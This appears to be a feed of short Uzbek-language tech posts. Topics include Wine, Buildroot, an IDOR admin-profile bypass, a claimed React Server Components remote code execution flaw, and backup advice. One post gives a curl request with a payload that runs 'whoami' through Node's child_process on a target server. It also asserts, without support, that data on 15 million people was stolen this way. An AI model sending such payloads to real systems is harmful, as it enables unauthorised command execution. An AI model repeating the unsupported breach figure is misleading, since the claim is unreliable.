ozodbekdev.uz/space

sudo apt update
sudo apt install wine

wine dastur.exe

Buildroot – bu o‘rnatiladigan qurilmalar (embedded systems) uchun minimal Linux tizimini yig‘ishga mo‘ljallangan build tizim. Odatda monitorlar, routerlar, sanoat panellari va transport displeylarida ishlatiladi, ya’ni bu oddiy kompyuter emas — maxsus qurilma ichida ishlaydigan kichik Linux tizimi

https://www.instagram.com/reel/DVJdvKvCI0G

Qanday ishladi?
Ro'yxatdan o'tganingizda URL manzilda ?id=101 kabi o'zingizning raqamingiz chiqdi. Siz raqamni shunchaki 1 ga o'zgartirdingiz va to'g'ridan-to'g'ri Admin profiliga kirib bordingiz.

Xato qayerda?
Sayt ma'lumot chiqarishdan oldin foydalanuvchini umuman tekshirmagan. Ya'ni, "Bu ma'lumotni so'rayotgan odam rostdan ham shu profil egasimi?" degan mantiqiy tekshiruv kodda yo'q edi. Server shunchaki ko'r-ko'rona ishonib, adminning sirini hammaga ochib berdi.

Yaqinda React va Next.js ekotizimida juda xavfli zaiflik aniqlangan. Bu zaiflik React Server Components (RSC) ishlatiladigan serverlarda masofadan turib buyruq bajarishga (Remote Code Execution) imkon beradi.
Muammo RSC “Flight protocol” maʼlumotlarini notoʻgʻri qayta ishlash bilan bogʻliq. Maxsus tayyorlangan payload orqali hujumchi server tomonda Node.js modullarini chaqirishi va OS buyruqlarini bajarishi mumkin. Shuningdek 15million aholi malumotlari aynan shu zaiflik asosida olingan

@uzcodingblog

npm install -g wappalyzer
wappalyzer https://example.com

curl -s -X POST http://example.com:4000/api/rsc/render \
-H "Content-Type: application/json" \
-d '{"flight":"0:require(\"child_process\").execSync(\"whoami\").toString()"}'  

@uzcodingblog

Dasturchi sifatida eng katta xatolardan biri — ma’lumotlarga haddan tashqari ishonib qo‘yish. Hammasi joyida ishlayotgandek tuyuladi, lekin bitta xatolik, serverdagi nosozlik yoki oddiygina noto‘g‘ri o‘chirish butun loyihani yo‘qqa chiqarishi mumkin. Backup aynan shunday vaziyatlar uchun kerak. Bu — ma’lumotlarning zaxira nusxasi bo‘lib, kerak bo‘lganda tizimni oldingi holatiga qaytarish imkonini beradi. Ayniqsa production tizimlarda backup yo‘qligi katta xavf hisoblanadi. Ko‘pincha muammo yuz bergandan keyin backup haqida o‘ylay boshlashadi. Aslida esa bu oldindan yo‘lga qo‘yilishi kerak bo‘lgan jarayon. Oddiy qilib aytganda, backup — bu sizning “plan B”ingiz. Yaxshi yondashuv esa juda murakkab emas: muntazam backup olish, uni bir nechta joyda saqlash va vaqti-vaqti bilan tiklab ko‘rish. Shunda siz kutilmagan holatlarda ham xotirjam ishlay olasiz

Backup qilinmagan loyiha — bu har doim xavf ostidagi loyiha.

🌙Ramazon Hayiti muborak bo‘lsin!